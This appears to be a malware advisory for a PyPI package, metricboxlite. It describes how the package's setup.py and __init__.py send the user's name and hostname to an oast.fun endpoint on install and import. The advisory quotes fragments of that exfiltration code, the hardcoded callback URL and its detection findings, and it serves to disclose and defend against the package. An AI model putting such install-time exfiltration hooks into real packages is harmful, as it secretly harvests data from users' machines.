GCVE-110-OSM-2026-11627

Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation. Judge assessment: This looks like a straightforward host-enumeration and exfiltration implant: importing `metricboxlite/__init__.py` immediately runs `_report()` and POSTs `getpass.getuser()` and `socket.gethostname()` to the hardcoded OAST endpoint `https://zymamqcfbo3o0czipgfb7tfrxlysw1iym.oast.fun/collect`. The same behavior is duplicated in `setup.py`, which means the attacker model is a dependency-confusion or trojanized PyPI package designed to harvest basic victim identity on install/import and phone home to attacker-controlled infrastructure. The recovered plaintext IOC, repeated `oast-exfiltration`/`http-exfiltration` findings, and the use of `urllib.request.urlopen(req, timeout=3)` with a suppressed exception strongly corroborate intentional exfiltration rather than a legitimate library feature. The OSV advisory is consistent with the code: the package has no other purpose beyond collecting and sending host data. ENTRY metricboxlite/__init__.py (module-import: 23) DESTINATION - 2 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in metricboxlite/__init__.py: ".oast.fun" - OAST/Interactsh Exfiltration in setup.py: ".oast.fun" - Python File Upload to Remote in metricboxlite/__init__.py: "urllib.request.Request( _ENDPOINT, data=" - System Information Exfiltration in metricboxlite/__init__.py: "socket.gethostname()} ).encode() req = urllib.request.Request( _ENDPOINT, data=p..." - HTTP Data Exfiltration in metricboxlite/__init__.py: "getpass.getuser(), "host": socket.gethostname()} ).encode() req = urllib" - Python File Upload to Remote in setup.py: "urllib.request.Request( _ENDPOINT, data=" - System Information Exfiltration in setup.py: "socket.gethostname()} ).encode() req = urllib.request.Request( _ENDPOINT, data=p..." - HTTP Data Exfiltration in setup.py: "getpass.getuser(), "host": socket.gethostname()} ).encode() req = urllib" (+6 more) PAYLOAD FILES metricboxlite/__init__.py (+ setup.py)